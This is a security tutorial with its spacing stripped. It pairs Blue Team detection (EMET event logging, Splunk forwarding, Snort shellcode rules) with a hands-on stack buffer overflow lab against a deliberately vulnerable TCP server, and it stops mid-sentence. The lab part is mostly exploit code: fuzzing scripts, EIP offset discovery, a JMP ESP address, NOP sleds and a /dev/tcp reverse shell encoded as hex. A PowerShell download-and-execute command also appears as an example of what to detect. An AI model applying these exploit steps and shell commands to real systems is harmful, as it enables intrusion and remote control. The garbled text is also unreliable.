are logged as a Windows event source called EMET More modern Windows Defender Exploit Guard follows a similar pattern as the
oneIrsquomgoingtooutlineEMETDefenderlogscanbefoundintheWindowsApplicationlog
For EMET there are three levels Information Warning and Error Information messages are used for logging usual operation such as
the EMET Notifier starting Warning messages are used when EMET settings change Error messages are used for logging cases
whereEMETstoppedanapplicationwithoneofitsmitigationswhichmeansanactiveattackhasbeenblocked
EMET and Defender logs can be sent to a central log collection server or from the local machine Irsquoll refer to an example where their
sent to a central log collector parsed then sent onto your SIEM Here is a brief example of an a SPLUNK integration on Windows but a
similarmodelcouldbedeployedwithSyslogSyslogServersandanELKStackactingasaSIEM
Yoursquoll need to ensure your local endpoints are configured to log EMET via GPO Windows Event Collector service is enabled and a
collection server is deployed Here is an example of a local local log policy setting to push down to the endpoints being monitored via
GPOetc
ltQueryListgt
ltQueryId=0Path=Applicationgt
ltSelectPath=Applicationgt[System[Provider[Name=EMET]and(Level=2)]]ltSelectgt
ltQuerygt
ltQueryListgt
To analyze the EMET data in Splunk yoursquoll need to install the Splunk Universal Forwarder on the central log collection server and
configure it to send logs from the collectorsyslog server to a Splunk indexer Splunk Indexer is just a fancy way to say a network service
to send your logs to which has some special logic to parser filter transform and write your logs in a unique format to Splunk based on
somepredefinedSplunkpolicy
Yoursquoll may need to set a filter on the central log server to parse the events for the EMET alerts before sending them on Below is an
exampleoftheWindowseventssubscriptionfilterRememberthedefaultlocationofforwardedlogeventsistheForwardedEventslog
The following is a Splunk sample configurations that can be used in the Splunk inputsconf file on the central log collection server
BasicallythispolicysayswhichlogscangetsentontotheSIEM
[WinEventLogForwardedEvents]
disabled=0
renderXml=1
evt_resolve_ad_obj=1
The above policy config tells the Splunk Universal Forwarder to monitor the Forwarded Events log on the log collection server and to
and send the events in XML format allows for facilitated extraction of information in Splunk to aid in the creation of useful Splunk
queries
SampleEMETEvent
EMETversion55587131892
EMETdetectedEAF+mitigationandwillclosetheapplicationIEXPLOREEXE
EAF+checkfailed
ApplicationCProgramFiles(x86)InternetExplorerIEXPLOREEXE
UserNameDOMAINuser
SessionID1
PID0x1348(4936)
TID0xF90(3984)
ModuleSOMEDLLdll
ModBase0x11630000
ModAddress0x11642E99
MemAddress0x76F501A4
Your Blue Team can configure an alert based on these results Consider correlating the alert with internal ranking of the assets value to
prioritize the response For example an alert like this on a PCI system or system storing your unreleased Intellectual Property may
need immediate action compared to a non production server being pen tested Although a non production server sounds like a nice
beachheadtomaintainafoothold
httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdf
httpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-server
DetectingSuccessfulBufferOverAttempts
The Blue Team philosophy is to assume your compromise and look for Indicators of Compromise In this model we assume the attacker
has successfully launched a buffer overflow and gained command and control over the asset Which means our mitigations have failed
which they will In my mind there are two techniques Irsquod lie to cover Irsquom sure there are more but as a newcomer I think these two
approachespaintsasolidpicture
1) Networkbasedsignaturedetection(Thismayalsocatchunsuccessfulattempts)
2) Hostbasedsignaturedetection
NetworkBasedDetection
Letrsquos consider the basic reverse shell we created with MSFVENOM from metasploit and packched into our malware variable in the
clientpyscriptWhenthisattackoccursithasafewuniquecharacteristicsinsidethenetworkcommunication
1 EncodedHEXpayloadmalwarewithintheclientattack
2 Abunchofx90rsquoswithintheclientattack
3 possiblybinbashorotheruniquestringssentbackinthereverseshellasSTIOtotheattackersterminal
If you had an inline or passive IDS which had access to the buffer overflow network packets a Blue Teams will likely have
SNORTSURICATA rules which alert on signatures that match our payload This is because the commands to gain a reverse shell from
bash sh python etc are universally known Irsquove included a few examples of emerging shell_code SNORT rules that look for metasploit
generatedBSDshellcode
alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 2)
content|6a 61 58 99 52 42 52 42 52 68| fast_patternonly referenceurldocemergingthreatsnet2010416
classtypeshellcode-detect sid2010416 rev4 metadataaffected_product Any attack_target Client_and_Server deployment
Perimeter deployment Internet deployment Internal deployment Datacenter tag Metasploit signature_severity Critical created_at
2010_07_30updated_at2016_07_01)
alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 3)
content|89 e1 6a 10 51 50 51 97 6a 62 58 cd 80 6a 02 59 b0 5a 51 57| fast_patternonly
referenceurldocemergingthreatsnet2010417 classtypeshellcode-detect sid2010417 rev4 metadataaffected_product Any
attack_target Client_and_Server deployment Perimeter deployment Internet deployment Internal deployment Datacenter tag
Metasploitsignature_severityCriticalcreated_at2010_07_30updated_at2016_07_01)
Modern attacks occur over TLSSSL over tcp communications these days which means detecting our payload would be difficult to nearly
impossible Blue-teams may counter encrypted communication with TLS interception and packet inspection To further evade TLS
interception crypters encoders custom encoded code or polymorphic code would need to be written Irsquove even heard of padding the
payloadsolargethattherulesareignoredduetoperformanceaswellSneaky
HostBasedDetection
In this model you assume the target has already been breached Maybe EMET was disabled or the attack was highly sophisticated and
made it past your defenses Whatever the case the attacker now has command and control over your machine thanks to a Buffer
OverflowLuckilyattackerpatternsofbehaviorarerelativelypredictableWhatdoesthatmean
Consideriftheactivedirectorylogsshowdirectoryenumerationssuchas
netviewdomain
netuserdomain
netaccountsdomain
Considerifthelocalhostlogsshowlocalaseriesofenumerationscommandssuchas
systeminfo
netlocalgroupldquoAdministratorsrdquo
uname-a
catprocissue
Considermoreadvancedpost-exploitattemptstobypassdetectionviaPowerShell
start-Process -FilePath nssmexe -ArgumentList lsquoinstall MaliciousService ldquoCWindowsSystem32WindowsPowerShellv10powershellexerdquo ldquo-command ldquoamp CScriptsMonitorps1 Start-Monitoring rdquordquo lsquo -NoNewWindow-Wait
powershellexe-execbypassndashnoprofilendashciex(New-ObjectNetWebClient)DownloadString
(http10022108081CodeExecutionInvoke-Shellcodeps1)
Similar to the EMET example local logs can be sent via Windows Collectors andor Syslog and forwarded to your SIEM For PowerShell attack Windows has added additional logging capabilities to memory based powershell execution but if the logs are disabled or omitted then detection may be thwarted Irsquove overly simplified a highly sophisticated topic but the point to drive home is that you assume a zero-daywillsucceedandlookforIoCrsquosthatshowenumerationprivilegeescalationetcetc
ENJOY
ReferencesandHonorableMentions
GeneralReferencehttpsenwikipediaorgwikiAddress_space_layout_randomizationhttpsenwikipediaorgwikiExecutable_space_protectionWindowshttpsenwikipediaorgwikiReturn-oriented_programminghttpsenwikipediaorgwikiJust-in-time_compilationhttpsenwikipediaorgwikiHeap_sprayinghttpsenwikipediaorgwikiDangling_pointerSecurity_holes_involving_dangling_pointersTechnicalResourceshttpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsmindmajixcomsplunkmonitor-windows-event-log-datahttpsgithubcomjpalancoalienvault-ossimblobmastersnort-rules-default-openrules290emergingrulesemerging-shellcoderuleshttpswwwsplunkcomblog20170706hellsbells-lets-hunt-powershellshtmlhttpssciencerpieducomputer-sciencehttpresearchcswiscedumistpresentationskupsch_miller_secse08pdf
httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-serverhttpsgithubcomJonathanSalwanROPgadgethttpswwwrapid7comresourcesrop-exploit-explainedhttpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdfhttpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdfhttpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programming-chains]pdfhttpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdfhttpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdfhttpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdfhttpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdfhttpswwwrapid7comresourceswhy-you-should-be-using-emethttpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystifiedhttpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdfComputerphilevideosandtheirAuthorsProgrammingandSoftwareArchitecturehttpswwwseasupennedu~cit595cit595s10contentshtmlhttpswwwlearn-corghttpsgodboltorgLinuxManPagesandtheirAuthors
(readplt)withthevulnerabilitycalledandcaninferthatthebufferallocationbeforethatisusedforthefunctioncallInthiscase1036
availablebytesLetrsquosbreakthatdown
1036bytesforthebuffer+4bytesforEBP+4bytesforEIP(InstructionPointer)
AnotherimportantpieceofthepuzzleistoldquoFindrdquothecodethatyoujustputintothebufferInourexamplethatwillbeabunchofArsquos
thatweuseduringfuzzingHoweverasweprogresstheArsquoswillgetreplacedwithmalwarebecauseabunchofArsquosarentthatuseful
outsidethecontextoflearning
Afterwefindthecodewewanttobesurethatthecomputerwillldquomove-alongrdquountilitgetstowhateverdataweputintothebufferThe
reasonforthisisbecauseknowingldquoexactlyrdquowherethecomputerputsourArsquosBrsquosandCrsquosishardWemightoverwriteallthoseldquoArsquosrdquo
ldquoBrsquosrdquoandldquoCrsquosrdquobutfindingtheexactmemorylocationthecomputerdecidestoputtheminisnotalwaysviablebecausememory
locationsmovearoundabitPluswewanttomakesurethatthecomputerdoesnrsquotexitorterminateexecutionbeforeitgetstotheBrsquosor
laterourldquomalwarerdquo
Themostbasictechniquetoaddressthisiswithx90NOP(nooperation)WereplaceourArsquos(x41)withx90andthattellsthe
computertojustldquomovealongrdquountilyougettothenextinstructionAsanoobitgivesusabiglandingpadtofindLookbelowatthe
pictureaboveandyoursquollseeanarrowthatpointsbacktotheldquoBufferrdquowithabunchofx90sThismeanswewillputaninstructioninto
IPEIPthatreturnsthecomputerbacktothebufferandtheRETURNwilllandintoabunchofNOPSandthenslidedownintotheBrsquosin
ourprogram
Thefollowingtwopicturesreallyputeverythingintoperspectiveformeignorethebuffersizenumbers
EnoughtheoryshowmeTheCode
DisablingDEPASLR
YoumustdisableASLRandDEPonalabmachinetolearnthebasicbufferoverflow
ASLR-Linux
echo0|sudoteeprocsyskernelrandomize_va_spaceDEPPassedascommandlineargumentinMakefileoratgcccommandline
-fstack-protector-Waexecstack
Onax86linuxarchitecturewithDEPASLRdisabledhellipLetrsquosgiveitashotfirstwersquollrunthevulnerableserverPoCwithinGDB
compilesthevulnerableCprogramwithanumberofprotectionsremovedDisabling-fstack-protectorremovessomemodernprotectionagainstoverwritingtheinstructionpointerLetrsquosdeferuntillaterexecstackwillmarkbinaryorsharedlibraryasrequiringexecutablestackMakefileallor
gcc-gvulnServerc-fno-stack-protector-z-Waexecstack-oServergdbServer1337
OkaysothevulnerableTCPserverisloadedintoGDBGDBisadebuggertogiveasaccessintothememoryregistersassemblyetcetcIfyourefamiliarwithwebdevelopmentlikeIwastheconceptofsettingbreakpointsatdifferentmomentsinthecodewasveryfamiliarItseemsintimidatingbutareallygoodcheatsheetishere
GDBCheatSheet
httpswwwcheatographycomfristlecheat-sheetsclosed-source-debugging-with-gdbFromtheterminaltype
run1337
NowitrsquostimetoldquoFuzzrdquoWealreadywentthroughsometheoryandrationalebeforebutitwasnrsquotdescribedinandend-to-endtypeofcontextArefresherhellipldquoFuzztestingorFuzzingisaBlackBoxsoftwaretestingtechniquewhichbasicallyconsistsinfindingimplementationbugsusingmalformedsemi-malformeddatainjectioninanautomatedfashionrdquoldquoYoucaneitherthrowabunchofgarbageattheprogramoryoucanunderstandwhatthecodeisexpectingrdquoIfyourememberIprovidedsomesimplecommandstoillustratetheexampleForthisapplicationwecandoitcompletelyhandsonpython-cprintx41overflowpython-cprintx41[offset]+x42[4]+x43[Overflow-offset-4]python-cprintx90[offset]+InstructionPointer[4]+x90[Overflow-offset-4]Sowecouldapproachthisacoupleofways
1 Gobackintothereversedengineeredbinariesandtrytodeterminewhatourbuffersizeisthroughthesourcecodeandassembly
2 RuntheprogramthroughthrewGDBandsetbreakpointsandfindops-codethatindicateBUFFERvariablesize3 Writeaniterativefuzzingscripttofindtheoverflowpoint
WritingthefuzzingscriptwasthebestlearningexerciseformeSowersquoregoingtocoverthatherequicklyLetrsquosstartwithgeneratingabunchofdatawiththecommandbelowIrsquomgoingtojustincreasethenumberofAsby10threetimes Examplepython-cprintx41overflowpython-cprintx4110python-cprintx4120python-cprintx4130
AllwersquoredoingiscreatingabunchofArsquosWedothisbecausewedonrsquotknowthemagicnumberofbyteswhereourattackpayloadwillresultinanoverflowThatrsquosthefuzzWewillneedtomodifythebasicpythonfuzzingexampletofittheuniqueldquopre-fixrdquothatisbuiltintothevulnerableserverlogicWewillreusetheBLACKpartsofthecodeslogicbelowandcopyintotheclientpyscriptusrbinpythonimportsocketCreateanarrayofbufferswithArsquosfrom1to5900usingincrementsof200Incrementsof200arearbitraryyoucouldusen++ifyouwanttowaitlongerWhateverbuffer=[A]counter=100whilelen(buffer)lt=30
bufferappend(Acounter)counter=counter+200
forstringinbufferprintFuzzingPASSwithsbyteslen(string)s=socketsocket(socketAF_INETsocketSOCK_STREAM)connect=sconnect((101110167110))srecv(1024)ssend(USERtestrn)srecv(1024)
ssend(PASS+string+rn)ssend(QUITrn)sclose()FirstletrsquoscreatecopyoftheoriginalclientsourcecodecpclientpyclientPoCpyNowletrsquosmakethefollowingchangestoclientPoCpyhellip usrbinpythonimportsocketimportstructimportsysiflen(sysargv)=2printUsage+sysargv[0]+[port]sysexit(1)
MESSAGE=Awhilelen(MESSAGE)lt=1000000mayneedtobeincreasedbasedonyourtargetbuffersize
DEST_IP=127001hostyourvulnProgramsislisteningonDEST_PORT=int(sysargv[1])counter=100
MESSAGE+=(Acounter)increasingthefuzzpayloadofAscounter=counter+100100hereisarbitrarysmallerwillbemoreaccuratebuttakelonger
print(lengthoffuzzoverflowis)print(len(MESSAGE))Foreducationalpurposes
forstringinMESSAGE
defconvert(MESSAGE)raw=raw+=structpack(ltIlen(MESSAGE))Serverexpectsapre-fixtellingyouthebuffersizeraw+=MESSAGEreturnraw
print(convert(MESSAGE))testpurposess=socketsocket(socketAF_INETsocketSOCK_STREAM)sconnect((DEST_IPDEST_PORT))ssend(convert(MESSAGE))data=srecv(1024)
sclose()printReceiveddatadataLetrsquosrunthepythonclientpyscriptandthevulnerableCtcpserverWersquollseethatthepythonscriptwillactasexpectedandbeginiteratingthroughthewhileloopandincreasingthenumberofArsquosIrsquoveincludedaprint()soyoucanwatchtheArsquosgrowastheclientrunsIfyouruntheclientterminalandtheserverterminalsidebysideyoursquollbeabletocomparetheclientpayloadbeingsenttothepayloadbeingreceivedbythevulnerabletcpserver
HopefullyyouruntheattackagainstyoursquorevulnerabletcpserverwhileinEDBmodeYoursquollnoticeaSIGSEGVerroratbytelengthof1101ASIGSEV(segmentationfault)oraccessviolationisafaultorfailureconditionistypicallyraisedbyhardwareasamemoryprotectionmechanismwhenyourprogramattemptstoaccessamemorylocationthateitherdoesnotexistorthatyourprogramisnotallowedtoaccessInthiscaseweoverwroteourEIP(instructionpointer)withamemorylocationof0x4141414orinotherwordsfourArsquos
ThenextpartiscriticalandIoverlookeditthefirstfewtimesIwastryingtounderstandhowthestackbufferrelatestotheregistersAt1101bytestheprogramcrashesHoweverwedonrsquotknowhowfarintotheregisterwewroteourArsquosBecausethisisopensourcecodeweknowthatthebufferwas1024bytesandwewroteout1101bytessoitrsquoslikelyweoverwrite77bytesworthofspaceoverourregisters
WhydowecareWewanttomodifyourinstructionpointerorEIPinx86IfwecanpreciselyoverwriteEIPwiththememorylocationofourprogramthenwecantricktheCPUintoexecutingourmaliciouscodeToillustrateIdrewanXthroughthereturnarraybackintoourbeforebecauseweonlyhaveabunchofArsquosinthereLetrsquossaywewanttowrite4Brsquosinthe4bytespaceinthereturnpointerTheBrsquos(x42)arearbitraryandonlyusedtoillustratethepointIfwewanttowriteBrsquostoaspecificregisterthenweneedtofigureouttheexactnumberofbytestostopwritingArsquosandstartwritingBrsquosManualbinarytreeanalysisisthebestforabeginnerinmyopinionMainlybecauseyoursquollneedtomanuallyworkyourwaythroughthebytesizelengthsmakingeducatedguesseswhileatthesametimelookingattheregistersandldquovisualizingrdquohowitallworks
Soifwehaveacrashatletrsquossay1100WecansplitthenumberofArsquosandBrsquosinto550Doingthismanuallyjustforkickspython-cprintx41550+x42550
Letrsquosusetheoriginalclientpy(notthefuzzer)andreplacetheldquoHELLOrdquomessagewithournewbufferwejustcreatedRestartthevulnerabletcpapplicationinGDBandruntheclientpywithourAandBrsquosbufferPuttingtheapplicationside-by-sideweseethat1100byteweresenthalfAsandhalfBrsquosHoweverthistimetheSIGSEGVshowsthatourinstructionpointerwasoverwrittenwithBrsquos(x42)
LetrsquostakeourfirstlookintotheregisterstoseewhatrsquosgoingonTypeldquoinfoall-registersrdquo
EachtimeyourunthroughthebinarytreecreatenewbuffermakesureyoulookintotheregistersTheoutputshowsusthatouroverflowisinourBrsquosbecauseweseex42hasoverwrittensomeofthedataregistersandthepointerregisters(X)isdataand(P)ispointerbytheway(-8Nowweneedtogofartherdownthebinarytreetofindtheexactlocationtowriteonly4bytesofBs(x42s)SowersquollmodifyourbuffertoincludesomeCrsquosWersquolldivide11003=andapproximate366+366+368python-cprintx41366+x42366+x43368
LetrsquosupdatetheoriginalclientpyscriptagainwithournewbufferandruntheattackagainstthevulnerableserverintheEDBBythewayIfoundVIMtobefarsuperiorforreplacinglargebuffersizewordsallatonceandnavigatingbackandforthtothebeginningandendofline(-8hellipafterfatthumbingitafewtimesweplacetheclientandtheserverside-by-sideandobservewhathappened
ThistimetheSIGSEGVshowsthatourinstructionpointerwasoverwrittenwithCrsquos(x43)TheoutputshowsusthatouroverflowisinourCrsquosbecauseweseex43hasoverwrittensomeofthedataregistersandthepointerregisters(X)isdataand(P)ispointerbytheway
WecansaytheresultsofthismakesensebecausewehavethesourcecodeWeknowthatthebufferisallocated1024bytesasapre-processorinstructionAtthispointourArsquosandBrsquosonlyequalatotalof366+366=732bytesNotenoughtooverflowthe1024butanother386isenoughtocrashintothestackrsquosregistersLetrsquoskeepgoingWersquolldividetheCrsquosupnextupdateourclientbufferandretesttheprograminEDBpython-cprintx41366+x42366+x43184+x44184ThistimeweseethefaultoccursintheDrsquoswichmeanswearegettingverycloseSincewersquoreontherighttrackandknowweneedtogetdownintoonly4bytesletrsquosbreaktheDrsquosdownfurther
python-cprintx41366+x42366+x43184+x4462+x4562+x4662
AtthispointIrsquomgettingtiredandthisisgettingoldbutweknowtheoverflowissomewhereinthelast62bytesSoletrsquospauseandaskourselveshowcouldwehavedonethisfasterWerememberouriteratorinthefuzzerTherewasareasonwhyIprintedthebytesizelengthtoscreenLetrsquosgobacktoapictureofourfuzzer
Sobetween1000and1100theoverflowoccursForfastresultswecouldrepeatthebinarytreeanalysiswhereonthelast100byteshellip
python-cprintx411000+x4225+x4325+x4425+x4525
That was much faster In one run we already know that the overflow falls somewhere within the Crsquos or x43s That could be anywhere
up to 1050 bytes This makes sense because we know our buffer is 1024 and we have an idea that there are some other registers that
mightgetoverwrittenbeforeourcodemakesitrsquoswaytotheinstructionpointerLetrsquosbreakdownthose25Crsquosinto8Crsquos8Drsquos9Ersquos
python-cprintx411000+x4225+x438+x448+x459
Now our fault occurs in our Ersquos or x45rsquos Simple math tells us that is somewhere between ~ 1040-1050 bytes and we know our registers
are4byteor32bitregistersthereforewecanbreakthatfinal9Ersquosinto4Ersquosand4Frsquosandseewhathappens
python-cprintx411000+x4225+x438+x448+x454+x464
Close 3 bytes of Ersquos or 3 x45rsquos but look closely one byte of D or x44 This means we need to subtract one D (x44) I feel like wersquore
onestepaway
python-cprintx411000+x4225+x438+x447+x454+x464
BoomThatrsquosit4bytesofErsquosor4x45rsquosLetrsquoscrackopenourregistersandconfirmthatwehavecontroloverourinstructionpointer
Okay so letrsquos recap You can save time during binary tree analysis if you print your fuzzerrsquos buffer to screen In this case we know the
crash occurred between 1000 and 1100 We also learned that our instruction pointer was well being overwritten with As We need to
find the exact location of the 4 byte EIP register because later we want to put a memory location of our ldquomalwarerdquo and tell the computer
to return to our malware in buffer If you noticed that the 44rsquos were at the end of EIP and not the beginning good catch This is because
Intel x86 is little endian meaning that the instructions are considered ldquobackwardsrdquo when provided to the CPU Basically it reads from
right-to-leftrelativetotheorderyousuppliedthedata
FindingInstructionPointerthefastway
Lucky for us there is a nice little program which helps us solve this problem much more quickly Unfortunately I found that when your
taught to use this program without learning the manual way then you may not understand what and why exactly you are using the
program
httpsgithubcomrapid7metasploit-frameworkblobmastertoolsexploitpattern_createrb
Soourfuzzertoldusthecrashhappenedatapproximately1100bytes
rootkali~locatepattern_createusrsharemetasploit-frameworktoolsexploitpattern_createrb
rootkali~usrsharemetasploit-frameworktoolsexploitpattern_createrb-l1100
This will create a pattern where each 4 bytes is a unique string Gosh I wish someone told me that You will paste the output from this
command into your clientpy buffer and overflow the program You will then receive a segmentation fault and go back into the registers
and find the unique 4 byte value in EIP Yoursquoll use a sister program which essentially counts the number of bytes in pattern_createrb
outputuntilitgetstotheunique4bytevaluethatwascopiedintoEIP
Example
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0
Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6
Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7
Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1
Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2
Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf
4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk
YoucanchecktheregistertoojusttoconfirmtheuniquefourbytestringthatwaswrittenintoEIP0x37694236
Then you use the sister program which is just going to count all the bytes in our unique buffer string up to the point of that 4 byte EIP
value
usrsharemetasploit-frameworktoolsexploitpattern_offsetrb-l1100-q37694236
Letrsquoscomparethe1040byteoffsetagainsttheoffsetwefoundmanuallyusingbinarytreeanalysis
python-cprintx411000+x4225+x438+x447+x454(EIP)+x4641000+25+8+7=1040NowweknowthatourbufferandregistersbeforeEIPisapproximately1040byteslongwhilethefollowing4byteswillbeourmemoryaddressthatreturnsusbackintoourbufferandeventuallyrunsourprogramsOnceagainIfoundthissillypicturenotonlyamusingbutthemostusefulIgnorethe500bytesizelengthandreplacethatwith1040forexample
Now we want to make a slight modification to the manual buffer we created previously by adding some x90 no operations commands
Wersquoll add exactly 1040 bytes of NOPS for now Take a second look at the illustration above and see that wersquore going to write out a
bunchofNOPSandeventuallyaddsomeldquomalwarerdquocode
python-cprintx901040+x454+x904
Letrsquosmodifyourclientpyscripttoadjustforthenew1040offsetandNOPs
Notice how similar the manual python script looks to the replaced MESSAGE variable value If this update works correctly wersquod expect
thatmemorylocationsbeforeEIPtobex90rsquosandwersquodexpecttoseethatEIPisx45454545
MESSAGE=x901040+x454+x901000
Run the vulnerable tcp server and clientpy side-by-side and yoursquoll find that the segmentation fault occurs at EIP with a value of exactly
x45454545
Now most importantly what do we put into the Instruction Pointer That depends on where your buffer of x90rsquos land To find our
NOPSletsruntheattackwiththefollowinglogicintheclientpy
MESSAGE=x901040+x454+x901000
Letrsquosswitchsomethingsupandtryanewdebuggerhellip
1 Server1337
2 Fromterminal2rarredb
3 FromedbUIrarrfilerarrattachrarrldquoServerrdquo
4 FromedbUIrarrfilerarrdebugrarrrunrarrrun(twiceorso)
5 UpdateyourclientPoCcode
6 pythonclientPoCpy1337
CodeChanges
malware=(x41100)
eip=x424
ending=x90200
nopsled=(x90(1000-len(malware)))
MESSAGE=x901040+eip+nopsled+malware+ending
Welandsomex42rsquosperfectlyonEIPwhichmeansweadjustedforthebuffercorrectly
Right click in the registers and do a follow in memory dump In this case I clicked ESP and found some 90rsquos in the bottom left-hand
corner
Looking at our memory we see can see the 90rsquos we wrote before EIP we can see the x42 which is EIP and we can see that ESP points
to memory address bffff310 If we continue to scroll down into ESP we should find a bunch of Arsquos which symbolizes our malware At
memoryaddressbfff6a0wefindourArsquoswhichmightaswellbemalware
Nowthatweknowthex90rsquosfeednicelyintoourmalwarewewanttofindalocalstaticbinarywithanOPCODEthatallowsustojump
intoESPWersquollneedabinarythatisalreadyloadedintomemorythatgrantsourprogramreadpermissionFromtherewewillsearchfor
aJMPESPopcodetofindamemorylocationwiththatinstruction
1 runthevulnerableserver
2 startupedbdebuggerandattackthevulnerableserver
3 rightclickPluginsrarrOpsCodesearchrarrClickESPtoEIP
4 Manuallysearchthrougheachloadedbinaryandclicksearch
0xb7facf97 or x97xcfxfaxb7 is the memory location of the OPCODE instruction we need to insert into EIP in order to trick the CPU
tojumpintothememoryaddressheldatESPregisterandthenexecuteourmalwareinESPAsafriendlyreminder
So what do we want our malware to do For now letrsquos create a simple reverse shell back to a command and control server In the
futureIrsquollwriteapaperaboutacustompieceofmalwarejustforfun
Aboilerplateuniversalreverseshellonlinuxlooksliketheonebelow
binsh-igtampdevtcp12700144440gtamp1
Letrsquos test this out on a similar OS to the target server (as best we can) to make sure it will run correctly Wersquoll create a netcat listener in
one terminal listening on port 4444 and wersquoll execute the reverse shell from another terminal and attempt to connect to the listener It
lookslikethissimplereversebinshshellcommandwillworkonthetargetOS(mylocalhostlolz)
The next part that gets overlooked is the assembler encoding into machine op code Kali Linux and Metasploit have tools that generate
a bunch of shellcode for you but the details of the tools can be easily missed or misunderstood If your self-taught noob like myself and
not comp-sci person then itrsquos good we take a moment to cover this Even if you donrsquot fully understand it yoursquoll at least understand there
isanaddedlayerofcomplexity
LetrsquosrefertoourfriendwikipediaforhelphereIpersonallyconcatenateabunchofthistogetherbecauseIfounditusefulinmynotes
ldquoThe Netwide Assembler (NASM) is an assembler and disassembler for the Intel x86 architecture It can be used to write 16-bit 32-bit (IA-32) and 64-bit (x86-64) programs
NASM principally outputs object files which are generally not executable by themselves In computing object code or object module is the product of a compiler In a general
sense object code is a sequence of statements or instructions in a computer language usually a machine code language (ie binary) or an intermediate language such as
register transfer language (RTL) An assembler is used to convert assembly code into machine code (object code) An assembly language (or assembler language) often
abbreviated asm is any low-level programming language in which there is a very strong correspondence between the programs statements and the architectures machine
codeinstructionsrdquo
So when we put in x90x41x42 etc etc you might have noticed that the values stayed the same in memory and in the registers But
when we put in a bunch of Arsquos for some reason the EIP register spit out x41s Well when we performed ldquoinfo all-registersrdquo wersquore seeing
the HEX variant (x41x42x43) of the variables used in the CPUrsquos assembly language Thatrsquos part of the assembly language at work
helpingusgofromahigherlevellanguageinCtoalowerlevellanguagetotheCPUthatwedonrsquotunderstandlikebinary1rsquosand0rsquos
So when we write our malware to the registers it seems best to encode it into the assembly NASM HEX variant of the ASCI characters
commands because the assembly is already expecting that value in the register to execute when the function is called I canrsquot explain it
any deeper other than saying itrsquos ldquomagicrdquo All I know is that if you try to put human readable bash command syntax into a register the
registerdoesntknowwhattodowithitbecauseldquoitdoesntspeakthatlanguagerdquohellipyoufeelme(-8hellip
PutsimplyletrsquostakethecommandwearefamiliarwithinBASHandencodeitintosimpleHEXforillustrationhellip
binsh-igtampdevtcp12700144440gtamp1
encodesto
x2fx62x69x6ex2fx73x68x20x2dx69x20x3ex26x20x2fx64x65x76x2fx74x63x70x2fx31x32x37x2ex30x2ex30x2ex31x
2fx34x34x34x34x20x30x3ex26x31
Unfortunately the assembly still wont ldquounderstandrdquo what that HEX bash command means Largely because wersquore executing directly
from the stack and therefore we need x86 equivalent instructions However it does visually illustrate the point that wersquore taking a
simpleshellcommandandencodingitintoassemblyandwritingtheoutputinCHEX
To make this easier wersquoll use a tool from here on to help us translate a similar shell command like the one below into a lower level x86
